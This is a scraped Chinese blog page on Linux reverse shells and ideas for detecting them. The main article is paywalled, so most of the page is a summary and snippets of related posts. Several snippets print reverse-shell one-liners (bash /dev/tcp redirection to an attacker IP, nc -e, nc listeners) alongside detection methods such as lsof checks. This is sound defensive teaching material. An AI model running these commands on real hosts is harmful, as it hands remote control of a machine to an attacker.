Linux反弹SHell与检测思路

最新推荐文章于 2024-10-22 11:31:27 发布
最新推荐文章于 2024-10-22 11:31:27 发布
阅读量291 收藏
点赞数
分类专栏： Linux服务器配置 文章标签： LINUX
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/l1593572468/article/details/134571329
版权
本文介绍了Linux反弹Shell的多种payload生成方法，包括bash、socat、perl、python和php，并提供了相应的检测思路，如使用lsof检查文件描述符重定向。同时强调反弹Shell的检测关键在于监控shell进程的输入输出源，防止恶意远程控制。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

了解本专栏 订阅专栏 解锁全文
Struts2漏洞导致的反弹shell——青藤云安全使用的是agent进程采集器进行检测
djph26741的博客
07-22 1110
安全老司机 | Struts2漏洞爆发后，与黑客的一次正面交锋 from：https://zhuanlan.zhihu.com/p/66122521 备注： 青藤云安全：——用的是进程信息采集器 通过对用户进程行为的实时监控，结合行为分析，及时发现非法shell连接引起的反弹shell行为，可以有效地感知0Day漏洞利用的行为痕迹，可以提供反向shell...
009 - VulnHub靶机：pWnOS1.0学习笔记——文件包含+密码破解+Perl Cgi反弹shell + linux内核漏洞提权+shellshock漏洞提权
Windmill_的博客
04-27 1965
pWnOS1.0学习笔记——文件包含+密码破解+Perl Cgi反弹shell + linux内核漏洞提权+shellshock漏洞提权
linux反弹shell
qq_52072846的博客
11-26 1822
linux反弹shell 在攻击主机上执行端口监听 nc -lvvp port 在目标主机上执行： bash -i >& /dev/tcp/攻击主机ip/port 0>&1
HIDS反弹shell检测方法
王教主的博客
02-24 1120
检测方法 特征：shell(sh bash zsh)进程存在异常的stdin/stdout、异常参数、异常网络连接。 行为：检测大概率是在ssh登陆下才会使用的二进制文件（如ls/cat/ip/ipconfig/cd/chmod），1.如果发现这些进程的stdin/stdout和tty不一致则告警；2.如果发现这些进程的dip/dport/sip/sport和SSH_CONNECTION不一致则告警 反弹手段和检测方法 反弹方法 检测方法 bash -i >& /dev/t
入侵检测——如何实现反弹shell检测？
qq_42009262的博客
03-24 3568
如何实现反弹shell检测？
Linux系统反弹shell总结
Bird&Bird
06-07 1519
目录前言正向连接反向连接利用netcat反弹shell利用Bash反弹shellCurl配合Bash反弹shell将反弹shell的命令写入定时任务将反弹shell的命令写入/etc/profile文件利用Socat反弹shell利用Telnet反弹shell方法一方法二各种脚本反弹shellPython 脚本反弹shellphp 脚本反弹shellPerl 脚本反弹shellRuby脚本反弹shell使用Metasploit生成反弹shell用的一句话反弹shell后获取模拟终端使用OpenSSL反弹加密
反弹shell原理与检测思路
weixin_45690589的博客
02-26 882
反弹shell的本质可以定义为：一个client上的bash进程 可以和 server上的进程通信。本质上就是检测 shell进程（如bash）的输入输出是否来自于一个远程的server。由于进程通信的复杂性（例如pipe），会导致单纯的检测shell进程的0 1 2 是否来自socket会存在漏报。但是按照这个思路，检测shell进程的0 1 2 的来源，顺着来源继续跟踪，如果最终是来自一个socket。那么则存在反弹shell的风险。
Linux应急响应思路和技巧（一）：进程分析篇
WangsuSecurity的博客
05-27 2049
本文总结自网宿安全演武实验室安全应急响应团队日常工作实践
Linux应急响应思路和技巧（二）：文件分析篇
最新发布
WangsuSecurity的博客
10-22 1420
Linux系统一切皆文件，攻击本身与系统的交互也离不开文件，凭据访问、持久化、防御绕过、恶意样本落盘、提权等攻击阶段都会涉及到文件。
linux提权思路总结
weixin_43199413的博客
07-20 1462
linux提权思路总结 前言 说到提权，首先需要获得网站的webshell权限，再说提权的操作。 webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称做为一种网页后门。 黑客在入侵了一个网站后，通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起，然后就可以使用浏览器来访问asp或者php后门，得到一个命令执行环境，以达到控制网站服务器的目的。 webshell就是网站管理员，只有站长才可以提升你的权限。 除非你用不正当手法入侵网
linux反弹shell检测和溯源,Wazuh联动osquery检测linux反弹shell
weixin_39820136的博客
05-14 1243
用osquery根据制定的规则定时检测系统并生成包含查询结果的日志文件，wazuh再对这些日志文件进行解析之后匹配规则告警。osquery下载安装的过程就略过了。这里简单介绍下osquery，详细请参考官方文档文件结构/etc/osquery//usr/share/osquery/osquery.example.conf/usr/share/osquery/lenses/{*}.aug/usr/s...
网络安全-反弹shell详解（攻击，检测与防御）
2401_84466336的博客
04-23 8159
1.1 什么是 Shell？Shell 在计算机系统中指的是一个用户界面，用于访问操作系统的服务。在网络安全中，攻击者常利用 Shell 来控制受害者的系统。1.2 反弹 Shell 的工作原理反弹 Shell 的基本原理是：攻击者在其自己的机器上设置监听端口，然后诱使受害者的机器执行一个反向连接的 Shell 命令，连接回攻击者的机器。这样，攻击者就能通过这个反向连接执行命令，控制受害者的计算机。
linux检测反弹shell
weixin_43781139的博客
02-25 2579
1、bash -i >& /dev/tcp/192.168.110.78/6767 0>&1 可以看到bash -i的输入输出和错误输出全部定位到了一个socket上 我们lsof看一下bash进程 我们可以看到bash远程指向一个ip，那我们完全可以判定这是一个反弹shell。 2、nc -e /usr/bin/bash 192.168.110.78 6767 这里我们看到bash的输入输出都定位到了管道上，而这个管道指向父进程nc，而且这两个...
linux反弹shell方法
weixin_53747497的博客
07-12 2382
被控端主动发起连接请求去连接控制端，通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。被控端攻击端参数解释bash -i ： 打开一个交互式的bash shell/dev/tcp/IP/PORT ： /dev/tcp/是Linux中的一个特殊设备文件（Linux一切皆文件），实际这个文件是不存在的，它只是 bash 实现的用来实现网络请求的一个接口。0>&1 : 将输入重定向到标准输出，为了确保命令执行后的输入被正确的传回攻击机。
Linux通过反弹Shell提权实验
qq_59201520的博客
02-20 2513
通过反弹shell在Linux上提权的实验
Linux下反弹shell
总有人间一两风，填我十万八千梦
04-21 4396
在渗透过程中，目标处于内网环境，或因为端口限制而我们无法直连目标机器，此时需要通过反弹shell来让目标机器主动连接我们获取一个交互式shell，以便继续深入。记录几个常用的。
渗透测试-Linux反弹shell
lza20001103的博客
05-11 3247
Linux反弹shell
反弹shell的方法和测试
weixin_43847235的博客
11-14 674
反弹shell的概念 简单理解，通常是我们主动发起请求，去访问服务器（某个IP的某个端口），比如我们常访问的web服务器：http(https)????/ip:80，这是因为在服务器上面开启了80端口的监听，我们去访问它的时候，就会给我们建立连接。而现在所谓的反弹shell指的是反过来在我们自己的公网vps建立监听，然后让服务器反弹一个shell来连接我们自己的主机，然后我们就能通过反弹的shell去...
反弹shell的实现方式和检测方法
12-25 4486
我所理解的反弹shell，是外部人员通过web或者软件的漏洞，建立了一个数据流通向网络外部的shell执行环境。 现在针对一些网络上反弹shell实例作说明：   反弹shell 现在针对一些网络上反弹shell实例作说明： 实例1，Bash反弹： Bash反弹，远程主机监听端口： nc -lvp 7777 被入侵的机器反弹shell命令如下： bash -i >&am...
linux反弹shell检测
08-22
Linux 反弹 shell 是一种攻击技术，攻击者利用漏洞或恶意代码将远程 shell 注入受害者的系统，从而获取对系统的控制权。为了检测 Linux 反弹 shell，可以采取以下几种方法： 1. 监控网络活动：使用网络监控工具，如 tcpdump 或 Wireshark，检查网络流量是否存在异常连接或未知的传出连接。特别关注与反弹 shell 相关的常见端口（如 4444、31337）。 2. 检查系统进程：使用 ps 或 top 命令检查正在运行的进程列表，查找不明确的、不信任的或异常的进程。特别关注与反弹 shell 相关的常见进程名称（如 netcat、nc、socat）。 3. 检查系统文件：使用查找命令（如 find）或相关工具，检查系统文件是否存在未知的、可疑的或异常的文件。特别关注与反弹 shell 相关的常见文件名和路径（如 .bashrc、.bash_profile、.ssh/authorized_keys）。 4. 检查系统日志：查看系统日志文件，如 /var/log/auth.log 或 /var/log/secure，检查是否存在异常登录尝试或认证失败记录，以及与反弹 shell 相关的异常日志。 5. 使用专业工具：使用专门的安全工具，如 LOKI、Lynis、AIDE 等，来扫描系统并检测可能的反弹 shell 活动。这些工具可以自动化检测系统中的恶意活动和异常行为。 请注意，这些方法可以帮助您发现潜在的反弹 shell 活动，但不能保证绝对的安全。建议您定期更新系统、安装最新的安全补丁，并采取其他安全措施来确保系统的安全性。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cheng-Ling

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值